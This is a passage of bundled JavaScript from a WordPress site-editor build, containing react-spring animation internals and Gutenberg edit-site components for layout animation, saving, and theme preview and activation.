5798 function _objectWithoutPropertiesLoose(source, excluded) {
5799 if (source == null) return {};
5800 var target = {};
5801 var sourceKeys = Object.keys(source);
5802 var key, i2;
5803 for (i2 = 0; i2 < sourceKeys.length; i2++) {
5804 key = sourceKeys[i2];
5805 if (excluded.indexOf(key) >= 0) continue;
5806 target[key] = source[key];
5807 }
5808 return target;
5809 }
5810 var _excluded$3 = ["children"];
5811 var SpringContext = (_ref) => {
5812 let {
5813 children
5814 } = _ref, props = _objectWithoutPropertiesLoose(_ref, _excluded$3);
5815 const inherited = (0, import_react6.useContext)(ctx);
5816 const pause = props.pause || !!inherited.pause, immediate = props.immediate || !!inherited.immediate;
5817 props = useMemoOne(() => ({
5818 pause,
5819 immediate
5820 }), [pause, immediate]);
5821 const {
5822 Provider
5823 } = ctx;
5824 return React6.createElement(Provider, {
5825 value: props
5826 }, children);
5827 };
5828 var ctx = makeContext(SpringContext, {});
5829 SpringContext.Provider = ctx.Provider;
5830 SpringContext.Consumer = ctx.Consumer;
5831 function makeContext(target, init2) {
5832 Object.assign(target, React6.createContext(init2));
5833 target.Provider._context = target;
5834 target.Consumer._context = target;
5835 return target;
5836 }
5837 var TransitionPhase;
5838 (function(TransitionPhase2) {
5839 TransitionPhase2["MOUNT"] = "mount";
5840 TransitionPhase2["ENTER"] = "enter";
5841 TransitionPhase2["UPDATE"] = "update";
5842 TransitionPhase2["LEAVE"] = "leave";
5843 })(TransitionPhase || (TransitionPhase = {}));
5844 var Interpolation = class extends FrameValue {
5845 constructor(source, args) {
5846 super();
5847 this.key = void 0;
5848 this.idle = true;
5849 this.calc = void 0;
5850 this._active = /* @__PURE__ */ new Set();
5851 this.source = source;
5852 this.calc = createInterpolator(...args);
5853 const value = this._get();
5854 const nodeType = getAnimatedType(value);
5855 setAnimated(this, nodeType.create(value));
5856 }
5857 advance(_dt) {
5858 const value = this._get();
5859 const oldValue = this.get();
5860 if (!isEqual(value, oldValue)) {
5861 getAnimated(this).setValue(value);
5862 this._onChange(value, this.idle);
5863 }
5864 if (!this.idle && checkIdle(this._active)) {
5865 becomeIdle(this);
5866 }
5867 }
5868 _get() {
5869 const inputs = is.arr(this.source) ? this.source.map(getFluidValue) : toArray(getFluidValue(this.source));
5870 return this.calc(...inputs);
5871 }
5872 _start() {
5873 if (this.idle && !checkIdle(this._active)) {
5874 this.idle = false;
5875 each(getPayload(this), (node) => {
5876 node.done = false;
5877 });
5878 if (globals.skipAnimation) {
5879 raf.batchedUpdates(() => this.advance());
5880 becomeIdle(this);
5881 } else {
5882 frameLoop.start(this);
5883 }
5884 }
5885 }
5886 _attach() {
5887 let priority2 = 1;
5888 each(toArray(this.source), (source) => {
5889 if (hasFluidValue(source)) {
5890 addFluidObserver(source, this);
5891 }
5892 if (isFrameValue(source)) {
5893 if (!source.idle) {
5894 this._active.add(source);
5895 }
5896 priority2 = Math.max(priority2, source.priority + 1);
5897 }
5898 });
5899 this.priority = priority2;
5900 this._start();
5901 }
5902 _detach() {
5903 each(toArray(this.source), (source) => {
5904 if (hasFluidValue(source)) {
5905 removeFluidObserver(source, this);
5906 }
5907 });
5908 this._active.clear();
5909 becomeIdle(this);
5910 }
5911 eventObserved(event) {
5912 if (event.type == "change") {
5913 if (event.idle) {
5914 this.advance();
5915 } else {
5916 this._active.add(event.parent);
5917 this._start();
5918 }
5919 } else if (event.type == "idle") {
5920 this._active.delete(event.parent);
5921 } else if (event.type == "priority") {
5922 this.priority = toArray(this.source).reduce((highest, parent) => Math.max(highest, (isFrameValue(parent) ? parent.priority : 0) + 1), 0);
5923 }
5924 }
5925 };
5926 function isIdle(source) {
5927 return source.idle !== false;
5928 }
5929 function checkIdle(active) {
5930 return !active.size || Array.from(active).every(isIdle);
5931 }
5932 function becomeIdle(self2) {
5933 if (!self2.idle) {
5934 self2.idle = true;
5935 each(getPayload(self2), (node) => {
5936 node.done = true;
5937 });
5938 callFluidObservers(self2, {
5939 type: "idle",
5940 parent: self2
5941 });
5942 }
5943 }
5944 globals.assign({
5945 createStringInterpolator,
5946 to: (source, args) => new Interpolation(source, args)
5947 });
5948 var update3 = frameLoop.advance;
5949
5950 // node_modules/@react-spring/web/dist/react-spring-web.esm.js
5951 var import_react_dom = __toESM(require_react_dom());
5952 function _objectWithoutPropertiesLoose2(source, excluded) {
5953 if (source == null) return {};
5954 var target = {};
5955 var sourceKeys = Object.keys(source);
5956 var key, i2;
5957 for (i2 = 0; i2 < sourceKeys.length; i2++) {
5958 key = sourceKeys[i2];
5959 if (excluded.indexOf(key) >= 0) continue;
5960 target[key] = source[key];
5961 }
5962 return target;
5963 }
5964 var _excluded$2 = ["style", "children", "scrollTop", "scrollLeft"];
5965 var isCustomPropRE = /^--/;
5966 function dangerousStyleValue(name2, value) {
5967 if (value == null || typeof value === "boolean" || value === "") return "";
5968 if (typeof value === "number" && value !== 0 && !isCustomPropRE.test(name2) && !(isUnitlessNumber.hasOwnProperty(name2) && isUnitlessNumber[name2])) return value + "px";
5969 return ("" + value).trim();
5970 }
5971 var attributeCache = {};
5972 function applyAnimatedValues(instance, props) {
5973 if (!instance.nodeType || !instance.setAttribute) {
5974 return false;
5975 }
5976 const isFilterElement = instance.nodeName === "filter" || instance.parentNode && instance.parentNode.nodeName === "filter";
5977 const _ref = props, {
5978 style,
5979 children,
5980 scrollTop,
5981 scrollLeft
5982 } = _ref, attributes = _objectWithoutPropertiesLoose2(_ref, _excluded$2);
5983 const values = Object.values(attributes);
5984 const names = Object.keys(attributes).map((name2) => isFilterElement || instance.hasAttribute(name2) ? name2 : attributeCache[name2] || (attributeCache[name2] = name2.replace(/([A-Z])/g, (n2) => "-" + n2.toLowerCase())));
5985 if (children !== void 0) {
5986 instance.textContent = children;
5987 }
5988 for (let name2 in style) {
5989 if (style.hasOwnProperty(name2)) {
5990 const value = dangerousStyleValue(name2, style[name2]);
5991 if (isCustomPropRE.test(name2)) {
5992 instance.style.setProperty(name2, value);
5993 } else {
5994 instance.style[name2] = value;
5995 }
5996 }
5997 }
5998 names.forEach((name2, i2) => {
5999 instance.setAttribute(name2, values[i2]);
6000 });
6001 if (scrollTop !== void 0) {
6002 instance.scrollTop = scrollTop;
6003 }
6004 if (scrollLeft !== void 0) {
6005 instance.scrollLeft = scrollLeft;
6006 }
6007 }
6008 var isUnitlessNumber = {
6009 animationIterationCount: true,
6010 borderImageOutset: true,
6011 borderImageSlice: true,
6012 borderImageWidth: true,
6013 boxFlex: true,
6014 boxFlexGroup: true,
6015 boxOrdinalGroup: true,
6016 columnCount: true,
6017 columns: true,
6018 flex: true,
6019 flexGrow: true,
6020 flexPositive: true,
6021 flexShrink: true,
6022 flexNegative: true,
6023 flexOrder: true,
6024 gridRow: true,
6025 gridRowEnd: true,
6026 gridRowSpan: true,
6027 gridRowStart: true,
6028 gridColumn: true,
6029 gridColumnEnd: true,
6030 gridColumnSpan: true,
6031 gridColumnStart: true,
6032 fontWeight: true,
6033 lineClamp: true,
6034 lineHeight: true,
6035 opacity: true,
6036 order: true,
6037 orphans: true,
6038 tabSize: true,
6039 widows: true,
6040 zIndex: true,
6041 zoom: true,
6042 fillOpacity: true,
6043 floodOpacity: true,
6044 stopOpacity: true,
6045 strokeDasharray: true,
6046 strokeDashoffset: true,
6047 strokeMiterlimit: true,
6048 strokeOpacity: true,
6049 strokeWidth: true
6050 };
6051 var prefixKey = (prefix2, key) => prefix2 + key.charAt(0).toUpperCase() + key.substring(1);
6052 var prefixes = ["Webkit", "Ms", "Moz", "O"];
6053 isUnitlessNumber = Object.keys(isUnitlessNumber).reduce((acc, prop) => {
6054 prefixes.forEach((prefix2) => acc[prefixKey(prefix2, prop)] = acc[prop]);
6055 return acc;
6056 }, isUnitlessNumber);
6057 var _excluded$1 = ["x", "y", "z"];
6058 var domTransforms = /^(matrix|translate|scale|rotate|skew)/;
6059 var pxTransforms = /^(translate)/;
6060 var degTransforms = /^(rotate|skew)/;
6061 var addUnit = (value, unit) => is.num(value) && value !== 0 ? value + unit : value;
6062 var isValueIdentity = (value, id) => is.arr(value) ? value.every((v2) => isValueIdentity(v2, id)) : is.num(value) ? value === id : parseFloat(value) === id;
6063 var AnimatedStyle = class extends AnimatedObject {
6064 constructor(_ref) {
6065 let {
6066 x: x2,
6067 y: y2,
6068 z
6069 } = _ref, style = _objectWithoutPropertiesLoose2(_ref, _excluded$1);
6070 const inputs = [];
6071 const transforms = [];
6072 if (x2 || y2 || z) {
6073 inputs.push([x2 || 0, y2 || 0, z || 0]);
6074 transforms.push((xyz) => [`translate3d(${xyz.map((v2) => addUnit(v2, "px")).join(",")})`, isValueIdentity(xyz, 0)]);
6075 }
6076 eachProp(style, (value, key) => {
6077 if (key === "transform") {
6078 inputs.push([value || ""]);
6079 transforms.push((transform) => [transform, transform === ""]);
6080 } else if (domTransforms.test(key)) {
6081 delete style[key];
6082 if (is.und(value)) return;
6083 const unit = pxTransforms.test(key) ? "px" : degTransforms.test(key) ? "deg" : "";
6084 inputs.push(toArray(value));
6085 transforms.push(key === "rotate3d" ? ([x3, y3, z2, deg]) => [`rotate3d(${x3},${y3},${z2},${addUnit(deg, unit)})`, isValueIdentity(deg, 0)] : (input) => [`${key}(${input.map((v2) => addUnit(v2, unit)).join(",")})`, isValueIdentity(input, key.startsWith("scale") ? 1 : 0)]);
6086 }
6087 });
6088 if (inputs.length) {
6089 style.transform = new FluidTransform(inputs, transforms);
6090 }
6091 super(style);
6092 }
6093 };
6094 var FluidTransform = class extends FluidValue {
6095 constructor(inputs, transforms) {
6096 super();
6097 this._value = null;
6098 this.inputs = inputs;
6099 this.transforms = transforms;
6100 }
6101 get() {
6102 return this._value || (this._value = this._get());
6103 }
6104 _get() {
6105 let transform = "";
6106 let identity2 = true;
6107 each(this.inputs, (input, i2) => {
6108 const arg1 = getFluidValue(input[0]);
6109 const [t3, id] = this.transforms[i2](is.arr(arg1) ? arg1 : input.map(getFluidValue));
6110 transform += " " + t3;
6111 identity2 = identity2 && id;
6112 });
6113 return identity2 ? "none" : transform;
6114 }
6115 observerAdded(count) {
6116 if (count == 1) each(this.inputs, (input) => each(input, (value) => hasFluidValue(value) && addFluidObserver(value, this)));
6117 }
6118 observerRemoved(count) {
6119 if (count == 0) each(this.inputs, (input) => each(input, (value) => hasFluidValue(value) && removeFluidObserver(value, this)));
6120 }
6121 eventObserved(event) {
6122 if (event.type == "change") {
6123 this._value = null;
6124 }
6125 callFluidObservers(this, event);
6126 }
6127 };
6128 var primitives = ["a", "abbr", "address", "area", "article", "aside", "audio", "b", "base", "bdi", "bdo", "big", "blockquote", "body", "br", "button", "canvas", "caption", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "footer", "form", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "main", "map", "mark", "menu", "menuitem", "meta", "meter", "nav", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rp", "rt", "ruby", "s", "samp", "script", "section", "select", "small", "source", "span", "strong", "style", "sub", "summary", "sup", "table", "tbody", "td", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "u", "ul", "var", "video", "wbr", "circle", "clipPath", "defs", "ellipse", "foreignObject", "g", "image", "line", "linearGradient", "mask", "path", "pattern", "polygon", "polyline", "radialGradient", "rect", "stop", "svg", "text", "tspan"];
6129 var _excluded = ["scrollTop", "scrollLeft"];
6130 globals.assign({
6131 batchedUpdates: import_react_dom.unstable_batchedUpdates,
6132 createStringInterpolator,
6133 colors
6134 });
6135 var host = createHost(primitives, {
6136 applyAnimatedValues,
6137 createAnimatedStyle: (style) => new AnimatedStyle(style),
6138 getComponentProps: (_ref) => {
6139 let props = _objectWithoutPropertiesLoose2(_ref, _excluded);
6140 return props;
6141 }
6142 });
6143 var animated = host.animated;
6144
6145 // packages/edit-site/build-module/components/layout/animation.mjs
6146 var import_element11 = __toESM(require_element(), 1);
6147 function getAbsolutePosition(element) {
6148 return {
6149 top: element.offsetTop,
6150 left: element.offsetLeft
6151 };
6152 }
6153 var ANIMATION_DURATION = 400;
6154 function useMovingAnimation({ triggerAnimationOnChange }) {
6155 const ref = (0, import_element11.useRef)();
6156 const { previous, prevRect } = (0, import_element11.useMemo)(
6157 () => ({
6158 previous: ref.current && getAbsolutePosition(ref.current),
6159 prevRect: ref.current && ref.current.getBoundingClientRect()
6160 }),
6161 [triggerAnimationOnChange]
6162 );
6163 (0, import_element11.useLayoutEffect)(() => {
6164 if (!previous || !ref.current) {
6165 return;
6166 }
6167 const disableAnimation = window.matchMedia(
6168 "(prefers-reduced-motion: reduce)"
6169 ).matches;
6170 if (disableAnimation) {
6171 return;
6172 }
6173 const controller = new Controller({
6174 x: 0,
6175 y: 0,
6176 width: prevRect.width,
6177 height: prevRect.height,
6178 config: {
6179 duration: ANIMATION_DURATION,
6180 easing: easings.easeInOutQuint
6181 },
6182 onChange({ value }) {
6183 if (!ref.current) {
6184 return;
6185 }
6186 let { x: x22, y: y22, width: width2, height: height2 } = value;
6187 x22 = Math.round(x22);
6188 y22 = Math.round(y22);
6189 width2 = Math.round(width2);
6190 height2 = Math.round(height2);
6191 const finishedMoving = x22 === 0 && y22 === 0;
6192 ref.current.style.transformOrigin = "center center";
6193 ref.current.style.transform = finishedMoving ? null : `translate3d(${x22}px,${y22}px,0)`;
6194 ref.current.style.width = finishedMoving ? null : `${width2}px`;
6195 ref.current.style.height = finishedMoving ? null : `${height2}px`;
6196 }
6197 });
6198 ref.current.style.transform = void 0;
6199 const destination = ref.current.getBoundingClientRect();
6200 const x2 = Math.round(prevRect.left - destination.left);
6201 const y2 = Math.round(prevRect.top - destination.top);
6202 const width = destination.width;
6203 const height = destination.height;
6204 controller.start({
6205 x: 0,
6206 y: 0,
6207 width,
6208 height,
6209 from: { x: x2, y: y2, width: prevRect.width, height: prevRect.height }
6210 });
6211 return () => {
6212 controller.stop();
6213 controller.set({
6214 x: 0,
6215 y: 0,
6216 width: prevRect.width,
6217 height: prevRect.height
6218 });
6219 };
6220 }, [previous, prevRect]);
6221 return ref;
6222 }
6223 var animation_default = useMovingAnimation;
6224
6225 // packages/edit-site/build-module/components/save-hub/index.mjs
6226 var import_data10 = __toESM(require_data(), 1);
6227 var import_components6 = __toESM(require_components(), 1);
6228 var import_core_data9 = __toESM(require_core_data(), 1);
6229
6230 // packages/edit-site/build-module/components/save-button/index.mjs
6231 var import_data9 = __toESM(require_data(), 1);
6232 var import_components5 = __toESM(require_components(), 1);
6233 var import_i18n6 = __toESM(require_i18n(), 1);
6234 var import_core_data8 = __toESM(require_core_data(), 1);
6235 var import_keycodes2 = __toESM(require_keycodes(), 1);
6236 var import_router3 = __toESM(require_router(), 1);
6237 var import_editor4 = __toESM(require_editor(), 1);
6238
6239 // packages/edit-site/build-module/utils/is-previewing-theme.mjs
6240 var import_url3 = __toESM(require_url(), 1);
6241 function isPreviewingTheme() {
6242 return !!(0, import_url3.getQueryArg)(window.location.href, "wp_theme_preview");
6243 }
6244 function currentlyPreviewingTheme() {
6245 if (isPreviewingTheme()) {
6246 return (0, import_url3.getQueryArg)(window.location.href, "wp_theme_preview");
6247 }
6248 return null;
6249 }
6250
6251 // packages/edit-site/build-module/components/save-button/index.mjs
6252 var import_jsx_runtime74 = __toESM(require_jsx_runtime(), 1);
6253 var { useLocation: useLocation3 } = unlock(import_router3.privateApis);
6254 function SaveButton({
6255 className = "edit-site-save-button__button",
6256 variant = "primary",
6257 showTooltip = true,
6258 showReviewMessage,
6259 icon,
6260 size,
6261 __next40pxDefaultSize = false
6262 }) {
6263 const { params } = useLocation3();
6264 const { setIsSaveViewOpened: setIsSaveViewOpened2 } = (0, import_data9.useDispatch)(store);
6265 const { saveDirtyEntities } = unlock((0, import_data9.useDispatch)(import_editor4.store));
6266 const { dirtyEntityRecords } = (0, import_editor4.useEntitiesSavedStatesIsDirty)();
6267 const { isSaving, isSaveViewOpen, previewingThemeName } = (0, import_data9.useSelect)(
6268 (select3) => {
6269 const { isSavingEntityRecord, isResolving } = select3(import_core_data8.store);
6270 const { isSaveViewOpened: isSaveViewOpened2 } = select3(store);
6271 const isActivatingTheme = isResolving("activateTheme");
6272 const currentlyPreviewingThemeId = currentlyPreviewingTheme();
6273 return {
6274 isSaving: dirtyEntityRecords.some(
6275 (record) => isSavingEntityRecord(
6276 record.kind,
6277 record.name,
6278 record.key
6279 )
6280 ) || isActivatingTheme,
6281 isSaveViewOpen: isSaveViewOpened2(),
6282 // Do not call `getTheme` with null, it will cause a request to
6283 // the server.
6284 previewingThemeName: currentlyPreviewingThemeId ? select3(import_core_data8.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : void 0
6285 };
6286 },
6287 [dirtyEntityRecords]
6288 );
6289 const hasDirtyEntities = !!dirtyEntityRecords.length;
6290 let isOnlyCurrentEntityDirty;
6291 if (dirtyEntityRecords.length === 1) {
6292 if (params.postId) {
6293 isOnlyCurrentEntityDirty = `${dirtyEntityRecords[0].key}` === params.postId && dirtyEntityRecords[0].name === params.postType;
6294 } else if (params.path?.includes("wp_global_styles")) {
6295 isOnlyCurrentEntityDirty = dirtyEntityRecords[0].name === "globalStyles";
6296 }
6297 }
6298 const disabled = isSaving || !hasDirtyEntities && !isPreviewingTheme();
6299 const getLabel = () => {
6300 if (isPreviewingTheme()) {
6301 if (isSaving) {
6302 return (0, import_i18n6.sprintf)(
6303 /* translators: %s: The name of theme to be activated. */
6304 (0, import_i18n6.__)("Activating %s"),
6305 previewingThemeName
6306 );
6307 } else if (disabled) {
6308 return (0, import_i18n6.__)("Saved");
6309 } else if (hasDirtyEntities) {
6310 return (0, import_i18n6.sprintf)(
6311 /* translators: %s: The name of theme to be activated. */
6312 (0, import_i18n6.__)("Activate %s & Save"),
6313 previewingThemeName
6314 );
6315 }
6316 return (0, import_i18n6.sprintf)(
6317 /* translators: %s: The name of theme to be activated. */
6318 (0, import_i18n6.__)("Activate %s"),
6319 previewingThemeName
6320 );
6321 }
6322 if (isSaving) {
6323 return (0, import_i18n6.__)("Saving");
6324 }
6325 if (disabled) {
6326 return (0, import_i18n6.__)("Saved");
6327 }
6328 if (!isOnlyCurrentEntityDirty && showReviewMessage) {
6329 return (0, import_i18n6.sprintf)(
6330 // translators: %d: number of unsaved changes (number).
6331 (0, import_i18n6._n)(
6332 "Review %d change\u2026",
6333 "Review %d changes\u2026",
6334 dirtyEntityRecords.length
6335 ),
6336 dirtyEntityRecords.length
6337 );
6338 }
6339 return (0, import_i18n6.__)("Save");
6340 };
6341 const label = getLabel();
6342 const onClick = isOnlyCurrentEntityDirty ? () => saveDirtyEntities({ dirtyEntityRecords }) : () => setIsSaveViewOpened2(true);
6343 return /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(
6344 import_components5.Button,
6345 {
6346 variant,
6347 className,
6348 "aria-disabled": disabled,
6349 "aria-expanded": isSaveViewOpen,
6350 isBusy: isSaving,
6351 onClick: disabled ? void 0 : onClick,
6352 label,
6353 shortcut: disabled ? void 0 : import_keycodes2.displayShortcut.primary("s"),
6354 showTooltip,
6355 icon,
6356 __next40pxDefaultSize,
6357 size,
6358 children: label
6359 }
6360 );
6361 }
6362
6363 // packages/edit-site/build-module/components/save-hub/index.mjs
6364 var import_jsx_runtime75 = __toESM(require_jsx_runtime(), 1);
6365 function SaveHub() {
6366 const { isDisabled, isSaving } = (0, import_data10.useSelect)((select3) => {
6367 const { __experimentalGetDirtyEntityRecords, isSavingEntityRecord } = select3(import_core_data9.store);
6368 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
6369 const _isSaving = dirtyEntityRecords.some(
6370 (record) => isSavingEntityRecord(record.kind, record.name, record.key)
6371 );
6372 return {
6373 isSaving: _isSaving,
6374 isDisabled: _isSaving || !dirtyEntityRecords.length && !isPreviewingTheme()
6375 };
6376 }, []);
6377 return /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_components6.__experimentalHStack, { className: "edit-site-save-hub", alignment: "right", spacing: 4, children: /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(
6378 SaveButton,
6379 {
6380 className: "edit-site-save-hub__button",
6381 variant: isDisabled ? null : "primary",
6382 showTooltip: false,
6383 icon: isDisabled && !isSaving ? check_default : null,
6384 showReviewMessage: true,
6385 __next40pxDefaultSize: true
6386 }
6387 ) });
6388 }
6389
6390 // packages/edit-site/build-module/components/save-panel/index.mjs
6391 var import_components7 = __toESM(require_components(), 1);
6392 var import_editor5 = __toESM(require_editor(), 1);
6393 var import_data12 = __toESM(require_data(), 1);
6394 var import_i18n7 = __toESM(require_i18n(), 1);
6395 var import_core_data11 = __toESM(require_core_data(), 1);
6396 var import_router5 = __toESM(require_router(), 1);
6397 var import_element13 = __toESM(require_element(), 1);
6398
6399 // packages/edit-site/build-module/utils/use-activate-theme.mjs
6400 var import_core_data10 = __toESM(require_core_data(), 1);
6401 var import_data11 = __toESM(require_data(), 1);
6402 var import_router4 = __toESM(require_router(), 1);
6403 var import_url4 = __toESM(require_url(), 1);
6404 var { useHistory: useHistory3, useLocation: useLocation4 } = unlock(import_router4.privateApis);
6405 function useActivateTheme() {
6406 const history = useHistory3();
6407 const { path } = useLocation4();
6408 const { startResolution, finishResolution } = (0, import_data11.useDispatch)(import_core_data10.store);
6409 return async () => {
6410 if (isPreviewingTheme()) {
6411 const activationURL = "themes.php?action=activate&stylesheet=" + currentlyPreviewingTheme() + "&_wpnonce=" + window.WP_BLOCK_THEME_ACTIVATE_NONCE;
6412 startResolution("activateTheme");
6413 await window.fetch(activationURL);
6414 finishResolution("activateTheme");
6415 history.navigate((0, import_url4.addQueryArgs)(path, { wp_theme_preview: "" }));
6416 }
6417 };
6418 }
6419
6420 // packages/edit-site/build-module/utils/use-actual-current-theme.mjs
6421 var import_api_fetch = __toESM(require_api_fetch(), 1);
6422 var import_element12 = __toESM(require_element(), 1);
6423 var import_url5 = __toESM(require_url(), 1);
6424 var ACTIVE_THEMES_URL = "/wp/v2/themes?status=active";
6425 function useActualCurrentTheme() {
6426 const [currentTheme, setCurrentTheme] = (0, import_element12.useState)();
6427 (0, import_element12.useEffect)(() => {
6428 const path = (0, import_url5.addQueryArgs)(ACTIVE_THEMES_URL, {
6429 context: "edit",
6430 wp_theme_preview: ""
6431 });
6432 (0, import_api_fetch.default)({ path }).then((activeThemes) => setCurrentTheme(activeThemes[0])).catch(() => {
6433 });
6434 }, []);
6435 return currentTheme;
6436 }
6437
6438 // packages/edit-site/build-module/components/save-panel/index.mjs
6439 var import_jsx_runtime76 = __toESM(require_jsx_runtime(), 1);
6440 var { EntitiesSavedStatesExtensible } = unlock(import_editor5.privateApis);
6441 var { useLocation: useLocation5 } = unlock(import_router5.privateApis);
6442 var EntitiesSavedStatesForPreview = ({
6443 onClose,
6444 renderDialog,
6445 variant
6446 }) => {
6447 const isDirtyProps = (0, import_editor5.useEntitiesSavedStatesIsDirty)();
6448 let activateSaveLabel, successNoticeContent;
6449 if (isDirtyProps.isDirty) {
6450 activateSaveLabel = (0, import_i18n7.__)("Activate & Save");
6451 successNoticeContent = (0, import_i18n7.__)("Theme activated and site updated.");
6452 } else {
6453 activateSaveLabel = (0, import_i18n7.__)("Activate");
6454 successNoticeContent = (0, import_i18n7.__)("Theme activated.");
6455 }
6456 const currentTheme = useActualCurrentTheme();
6457 const previewingTheme = (0, import_data12.useSelect)(
6458 (select3) => select3(import_core_data11.store).getCurrentTheme(),
6459 []
6460 );
6461 const additionalPrompt = /* @__PURE__ */ (0, import_jsx_runtime76.jsx)("p", { children: (0, import_i18n7.sprintf)(
6462 /* translators: 1: The name of active theme, 2: The name of theme to be activated. */
6463 (0, import_i18n7.__)(
6464 "Saving your changes will change your active theme from %1$s to %2$s."
6465 ),
6466 currentTheme?.name?.rendered ?? "...",
6467 previewingTheme?.name?.rendered ?? "..."
6468 ) });
6469 const activateTheme = useActivateTheme();
6470 const onSave = async (values) => {
6471 await activateTheme();
6472 return values;
6473 };
6474 return /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
6475 EntitiesSavedStatesExtensible,
6476 {
6477 ...{
6478 ...isDirtyProps,
6479 additionalPrompt,
6480 close: onClose,
6481 onSave,
6482 saveEnabled: true,
6483 saveLabel: activateSaveLabel,
6484 renderDialog,
6485 variant,
6486 successNoticeContent
6487 }
6488 }
6489 );
6490 };
6491 var _EntitiesSavedStates = ({ onClose, renderDialog, variant }) => {
6492 if (isPreviewingTheme()) {
6493 return /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
6494 EntitiesSavedStatesForPreview,
6495 {
6496 onClose,
6497 renderDialog,
6498 variant
6499 }
6500 );
6501 }
6502 return /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
6503 import_editor5.EntitiesSavedStates,
6504 {
6505 close: onClose,
6506 renderDialog,
6507 variant
6508 }
6509 );
6510 };
6511 function SavePanel() {
6512 const { query } = useLocation5();
6513 const { canvas = "view" } = query;
6514 const { isSaveViewOpen, isDirty, isSaving } = (0, import_data12.useSelect)((select3) => {
6515 const {
6516 __experimentalGetDirtyEntityRecords,
6517 isSavingEntityRecord,
6518 isResolving
6519 } = select3(import_core_data11.store);
6520 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
6521 const isActivatingTheme = isResolving("activateTheme");
6522 const { isSaveViewOpened: isSaveViewOpened2 } = unlock(select3(store));
6523 return {
6524 isSaveViewOpen: isSaveViewOpened2(),
6525 isDirty: dirtyEntityRecords.length > 0,
6526 isSaving: dirtyEntityRecords.some(
6527 (record) => isSavingEntityRecord(record.kind, record.name, record.key)
6528 ) || isActivatingTheme
6529 };
6530 }, []);
6531 const { setIsSaveViewOpened: setIsSaveViewOpened2 } = (0, import_data12.useDispatch)(store);
6532 const onClose = () => setIsSaveViewOpened2(false);
6533 (0, import_element13.useEffect)(() => {
6534 setIsSaveViewOpened2(false);
6535 }, [canvas, setIsSaveViewOpened2]);
6536 if (canvas === "view") {
6537 return isSaveViewOpen ? /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
6538 import_components7.Modal,
6539 {
6540 className: "edit-site-save-panel__modal",
6541 onRequestClose: onClose,
6542 title: (0, import_i18n7.__)("Review changes"),
6543 size: "small",
6544 children: /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(_EntitiesSavedStates, { onClose, variant: "inline" })
6545 }
6546 ) : null;
6547 }
6548 const activateSaveEnabled = isPreviewingTheme() || isDirty;
6549 const disabled = isSaving || !activateSaveEnabled;
6550 return /* @__PURE__ */ (0, import_jsx_runtime76.jsxs)(
6551 navigable_region_default,
6552 {
6553 className: clsx_default("edit-site-layout__actions", {
6554 "is-entity-save-view-open": isSaveViewOpen
6555 }),
6556 ariaLabel: (0, import_i18n7.__)("Save panel"),
6557 children: [
6558 /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
6559 "div",
6560 {
6561 className: clsx_default("edit-site-editor__toggle-save-panel", {
6562 "screen-reader-text": isSaveViewOpen
6563 }),
6564 children: /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
6565 import_components7.Button,
6566 {
6567 __next40pxDefaultSize: true,
6568 variant: "secondary",
6569 className: "edit-site-editor__toggle-save-panel-button",
6570 onClick: () => setIsSaveViewOpened2(true),
6571 "aria-haspopup": "dialog",
6572 disabled,
6573 accessibleWhenDisabled: true,
6574 children: (0, import_i18n7.__)("Open save panel")
6575 }
6576 )
6577 }
6578 ),
6579 isSaveViewOpen && /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(_EntitiesSavedStates, { onClose, renderDialog: true })
6580 ]
6581 }
6582 );
6583 }
6584
6585 // packages/edit-site/build-module/components/layout/index.mjs
6586 var import_jsx_runtime77 = __toESM(require_jsx_runtime(), 1);
6587 var { useLocation: useLocation6 } = unlock(import_router6.privateApis);
6588 var { useStyle } = unlock(import_editor6.privateApis);
6589 var ANIMATION_DURATION2 = 0.3;
6590 function Layout() {
6591 const { query, name: routeKey, areas: areas2, widths } = useLocation6();
6592 const canvas = routeKey === "notfound" ? "view" : query?.canvas ?? "view";
6593 const isMobileViewport = (0, import_compose2.useViewportMatch)("medium", "<");
6594 const toggleRef = (0, import_element14.useRef)();
6595 const navigateRegionsProps = (0, import_components8.__unstableUseNavigateRegions)();
6596 const disableMotion = (0, import_compose2.useReducedMotion)();
6597 const [canvasResizer, canvasSize] = (0, import_compose2.useResizeObserver)();
6598 const isEditorLoading = useIsSiteEditorLoading();
6599 const [isResizableFrameOversized, setIsResizableFrameOversized] = (0, import_element14.useState)(false);
6600 const animationRef = animation_default({
6601 triggerAnimationOnChange: routeKey + "-" + canvas
6602 });
6603 const { showIconLabels } = (0, import_data13.useSelect)((select3) => {
6604 return {
6605 showIconLabels: select3(import_preferences3.store).get(
6606 "core",
6607 "showIconLabels"
6608 )
6609 };
6610 });
6611 const backgroundColor = useStyle("color.background");
6612 const gradientValue = useStyle("color.gradient");
6613 const previousCanvaMode = (0, import_compose2.usePrevious)(canvas);
6614 (0, import_element14.useEffect)(() => {
6615 if (previousCanvaMode === "edit") {
6616 toggleRef.current?.focus();
6617 }
6618 }, [canvas]);
6619 return /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(import_jsx_runtime77.Fragment, { children: [
6620 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.UnsavedChangesWarning, {}),
6621 canvas === "view" && /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SaveKeyboardShortcut, {}),
6622 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6623 "div",
6624 {
6625 ...navigateRegionsProps,
